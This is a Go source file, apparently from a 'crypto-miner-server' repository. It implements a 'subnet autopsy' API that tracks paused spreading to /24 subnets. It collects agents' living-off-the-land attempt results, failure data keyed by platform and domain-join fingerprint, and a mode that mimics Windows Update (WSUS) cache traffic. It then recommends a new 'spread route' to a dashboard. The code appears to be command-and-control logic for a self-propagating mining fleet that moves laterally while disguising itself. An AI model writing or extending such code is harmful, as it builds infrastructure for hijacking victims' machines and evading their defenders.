Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Prosecutor and Public Defender use real fleet telemetry only; Judge dispatches L4 commands and emits full transcripts via seer_events and emberwake_court_debate when ai_control_enabled.
305 lines
8.3 KiB
Go
305 lines
8.3 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"log"
|
|
"net/http"
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/ai"
|
|
"crypto-miner-server/internal/atlas"
|
|
"crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/models"
|
|
"crypto-miner-server/internal/strategy"
|
|
)
|
|
|
|
// SubnetAutopsyHandler serves immune autopsy packets for paused /24 prefixes.
|
|
type SubnetAutopsyHandler struct {
|
|
hub *WSHub
|
|
pathTracer *PathTracerHandler
|
|
}
|
|
|
|
func NewSubnetAutopsyHandler(hub *WSHub, pathTracer *PathTracerHandler) *SubnetAutopsyHandler {
|
|
return &SubnetAutopsyHandler{hub: hub, pathTracer: pathTracer}
|
|
}
|
|
|
|
// GET /api/v1/atlas/subnet-autopsy?subnet=
|
|
func (h *SubnetAutopsyHandler) Get(w http.ResponseWriter, r *http.Request) {
|
|
if h == nil || h.hub == nil {
|
|
http.Error(w, "subnet autopsy unavailable", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
prefix := atlas.PrefixFromHostOrIP(r.URL.Query().Get("subnet"))
|
|
if prefix == "" {
|
|
http.Error(w, "subnet query required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
pkt, ok := h.hub.SubnetAutopsy(prefix)
|
|
if !ok {
|
|
pkt = h.hub.BuildSubnetAutopsy(prefix, h.pathTracer)
|
|
}
|
|
writeJSON(w, pkt)
|
|
}
|
|
|
|
// TriggerSubnetAutopsy builds, caches, and broadcasts an autopsy when immune pause activates.
|
|
func (h *WSHub) TriggerSubnetAutopsy(prefix string, pathTracer *PathTracerHandler) {
|
|
pkt := h.BuildSubnetAutopsy(prefix, pathTracer)
|
|
h.storeSubnetAutopsy(pkt)
|
|
h.BroadcastSeerEvent(map[string]interface{}{
|
|
"type": "subnet_immune_autopsy",
|
|
"prefix": pkt.Prefix,
|
|
"triggered": pkt.TriggeredAt,
|
|
"cause": pkt.CauseOfDeath,
|
|
"vaccination": pkt.VaccinationLane,
|
|
"packet": pkt,
|
|
})
|
|
log.Printf("[subnet-autopsy] immune pause autopsy for %s (%d failures)", pkt.Prefix, pkt.FailCount)
|
|
}
|
|
|
|
func (h *WSHub) storeSubnetAutopsy(pkt atlas.SubnetAutopsyPacket) {
|
|
if h == nil {
|
|
return
|
|
}
|
|
h.mu.Lock()
|
|
if h.subnetAutopsies == nil {
|
|
h.subnetAutopsies = make(map[string]atlas.SubnetAutopsyPacket)
|
|
}
|
|
h.subnetAutopsies[pkt.Prefix] = pkt
|
|
h.mu.Unlock()
|
|
}
|
|
|
|
// SubnetAutopsy returns a cached autopsy packet for prefix.
|
|
func (h *WSHub) SubnetAutopsy(prefix string) (atlas.SubnetAutopsyPacket, bool) {
|
|
if h == nil {
|
|
return atlas.SubnetAutopsyPacket{}, false
|
|
}
|
|
prefix = atlas.PrefixFromHostOrIP(prefix)
|
|
h.mu.RLock()
|
|
pkt, ok := h.subnetAutopsies[prefix]
|
|
h.mu.RUnlock()
|
|
return pkt, ok
|
|
}
|
|
|
|
// BuildSubnetAutopsy assembles an immune autopsy from fleet state.
|
|
func (h *WSHub) BuildSubnetAutopsy(prefix string, pathTracer *PathTracerHandler) atlas.SubnetAutopsyPacket {
|
|
prefix = atlas.PrefixFromHostOrIP(prefix)
|
|
now := time.Now().UTC()
|
|
pkt := atlas.SubnetAutopsyPacket{
|
|
Prefix: prefix,
|
|
TriggeredAt: now,
|
|
Persona: ai.NormalizePersona(h.serverPolicySnapshot().AIPersona),
|
|
WSUSMimic: atlas.WSUSMimicSnapshot{
|
|
FormatMimicEnabled: true,
|
|
CachePeerLane: "wsus_cache_peer",
|
|
},
|
|
}
|
|
policy := h.serverPolicySnapshot()
|
|
pkt.ErasureFallback = atlas.ErasureFallbackSnapshot{
|
|
ErasureLanesEnabled: policy.ErasureLanesEnabled,
|
|
AvailableAsFallback: policy.ErasureLanesEnabled,
|
|
}
|
|
|
|
if h.db != nil {
|
|
if row, err := h.db.GetSubnetSpreadPause(prefix); err == nil && row != nil {
|
|
pkt.FailCount = row.FailCount
|
|
pkt.PausedUntil = row.PausedUntil
|
|
}
|
|
}
|
|
|
|
agents := h.agentsOnSubnet(prefix)
|
|
pkt.LOTLAttempts = atlas.TrimLOTLAttempts(collectSubnetLOTLAttempts(h, agents), atlas.SubnetAutopsyLOTLAttemptLimit)
|
|
pkt.GossipWhispers = atlas.TrimGossipWhispers(h.gossipWhispersForSubnet(prefix), atlas.SubnetAutopsyGossipWhisperLimit)
|
|
pkt.FailureAtlas = h.failureAtlasSummaryForSubnet(agents)
|
|
|
|
if joinLane := recentJoinLane(h, agents); joinLane != "" {
|
|
pkt.WSUSMimic.RecentJoinLane = joinLane
|
|
if joinLane == "wsus_cache_peer" {
|
|
pkt.WSUSMimic.FormatMimicEnabled = true
|
|
}
|
|
}
|
|
|
|
if pathTracer != nil {
|
|
if hint := pathTracer.RecommendSpreadRoute(prefix, pkt.WSUSMimic.RecentJoinLane, ""); hint != nil {
|
|
pkt.VaccinationLane = hint
|
|
}
|
|
}
|
|
|
|
pkt.CauseOfDeath = atlas.BuildCauseOfDeath(pkt)
|
|
return pkt
|
|
}
|
|
|
|
func (h *WSHub) agentsOnSubnet(prefix string) []*models.Agent {
|
|
if h == nil || h.db == nil || prefix == "" {
|
|
return nil
|
|
}
|
|
subnetLabel := prefix + ".x"
|
|
agents, err := h.db.ListAgentsFiltered(db.AgentListFilter{Subnet: subnetLabel, Limit: 64})
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
return agents
|
|
}
|
|
|
|
func collectSubnetLOTLAttempts(hub *WSHub, agents []*models.Agent) []atlas.LOTLAttemptSnapshot {
|
|
var out []atlas.LOTLAttemptSnapshot
|
|
for _, ag := range agents {
|
|
if ag == nil {
|
|
continue
|
|
}
|
|
attempts := lotlAttemptsForAgent(hub, ag)
|
|
for _, a := range attempts {
|
|
a.AgentID = ag.ID
|
|
a.AgentName = ag.Name
|
|
out = append(out, a)
|
|
}
|
|
}
|
|
return out
|
|
}
|
|
|
|
func lotlAttemptsForAgent(hub *WSHub, ag *models.Agent) []atlas.LOTLAttemptSnapshot {
|
|
if hub != nil {
|
|
hub.mu.RLock()
|
|
if tel, ok := hub.agentLiveTelemetry[ag.ID]; ok {
|
|
hub.mu.RUnlock()
|
|
if parsed := parseLOTLAttemptsFromTelemetry(tel); len(parsed) > 0 {
|
|
return parsed
|
|
}
|
|
} else {
|
|
hub.mu.RUnlock()
|
|
}
|
|
}
|
|
return parseLOTLAttemptsFromAgent(ag)
|
|
}
|
|
|
|
func parseLOTLAttemptsFromTelemetry(tel map[string]interface{}) []atlas.LOTLAttemptSnapshot {
|
|
raw, ok := tel["lotl_attempts"]
|
|
if !ok {
|
|
return nil
|
|
}
|
|
b, err := json.Marshal(raw)
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
var attempts []atlas.LOTLAttemptSnapshot
|
|
if json.Unmarshal(b, &attempts) != nil {
|
|
return nil
|
|
}
|
|
return attempts
|
|
}
|
|
|
|
func parseLOTLAttemptsFromAgent(ag *models.Agent) []atlas.LOTLAttemptSnapshot {
|
|
if ag == nil || len(ag.LOTLAttempts) == 0 {
|
|
return nil
|
|
}
|
|
out := make([]atlas.LOTLAttemptSnapshot, 0, len(ag.LOTLAttempts))
|
|
for _, a := range ag.LOTLAttempts {
|
|
out = append(out, atlas.LOTLAttemptSnapshot{
|
|
Tier: a.Tier,
|
|
OK: a.OK,
|
|
Error: a.Error,
|
|
DurationMs: a.DurationMs,
|
|
})
|
|
}
|
|
return out
|
|
}
|
|
|
|
func recentJoinLane(hub *WSHub, agents []*models.Agent) string {
|
|
for _, ag := range agents {
|
|
if ag == nil {
|
|
continue
|
|
}
|
|
if hub != nil {
|
|
hub.mu.RLock()
|
|
if tel, ok := hub.agentLiveTelemetry[ag.ID]; ok {
|
|
if lane, ok := tel["join_lane"].(string); ok && strings.TrimSpace(lane) != "" {
|
|
hub.mu.RUnlock()
|
|
return strings.TrimSpace(lane)
|
|
}
|
|
}
|
|
hub.mu.RUnlock()
|
|
}
|
|
if strings.TrimSpace(ag.JoinLane) != "" {
|
|
return strings.TrimSpace(ag.JoinLane)
|
|
}
|
|
}
|
|
return ""
|
|
}
|
|
|
|
func (h *WSHub) failureAtlasSummaryForSubnet(agents []*models.Agent) string {
|
|
if h == nil || h.db == nil || len(agents) == 0 {
|
|
return ""
|
|
}
|
|
for _, ag := range agents {
|
|
if ag == nil {
|
|
continue
|
|
}
|
|
domainJoined := ag.FirewallDomain != nil && *ag.FirewallDomain
|
|
fp := strategy.FingerprintFromAuth(ag.Platform, ag.IP, domainJoined)
|
|
summary, err := h.db.FailureAtlasSummary(fp.Key(), fp.GOOS)
|
|
if err == nil && summary != "" && summary != "no fleet failure atlas samples for this fingerprint" {
|
|
return summary
|
|
}
|
|
}
|
|
return ""
|
|
}
|
|
|
|
func normalizeGossipSubnetKey(prefix string) string {
|
|
prefix = strings.TrimSpace(prefix)
|
|
if prefix == "" {
|
|
return ""
|
|
}
|
|
if norm := atlas.PrefixFromHostOrIP(prefix); norm != "" {
|
|
return norm
|
|
}
|
|
prefix = strings.TrimSuffix(prefix, ".0/24")
|
|
prefix = strings.TrimSuffix(prefix, "/24")
|
|
return strings.TrimSpace(prefix)
|
|
}
|
|
|
|
func (h *WSHub) recordGossipWhisper(prefix string, hints []atlas.GossipHint) {
|
|
prefix = normalizeGossipSubnetKey(prefix)
|
|
if prefix == "" || len(hints) == 0 {
|
|
return
|
|
}
|
|
h.mu.Lock()
|
|
if h.subnetGossipWhispers == nil {
|
|
h.subnetGossipWhispers = make(map[string][]atlas.GossipHint)
|
|
}
|
|
merged := atlas.MergeGossipSkips(toAtlasSkips(h.subnetGossipWhispers[prefix]), hints)
|
|
out := make([]atlas.GossipHint, 0, len(merged))
|
|
for _, s := range merged {
|
|
out = append(out, atlas.GossipHint{Tier: s.Tier, Condition: s.Condition, Reason: s.Reason})
|
|
}
|
|
h.subnetGossipWhispers[prefix] = out
|
|
h.mu.Unlock()
|
|
}
|
|
|
|
func (h *WSHub) gossipWhispersForSubnet(prefix string) []atlas.GossipHint {
|
|
prefix = normalizeGossipSubnetKey(prefix)
|
|
if h == nil || prefix == "" {
|
|
return nil
|
|
}
|
|
h.mu.RLock()
|
|
defer h.mu.RUnlock()
|
|
if h.subnetGossipWhispers == nil {
|
|
return nil
|
|
}
|
|
return append([]atlas.GossipHint(nil), h.subnetGossipWhispers[prefix]...)
|
|
}
|
|
|
|
func toAtlasSkips(hints []atlas.GossipHint) []atlas.AtlasSkip {
|
|
skips := atlas.SkipsFromHints(hints)
|
|
out := make([]atlas.AtlasSkip, len(skips))
|
|
copy(out, skips)
|
|
return out
|
|
}
|
|
|
|
// BroadcastSeerEvent pushes structured events to dashboard Seer consumers.
|
|
func (h *WSHub) BroadcastSeerEvent(ev interface{}) {
|
|
if h == nil {
|
|
return
|
|
}
|
|
h.broadcastDashboard(Message{Type: "seer_events", Payload: mustMarshal(ev)})
|
|
}
|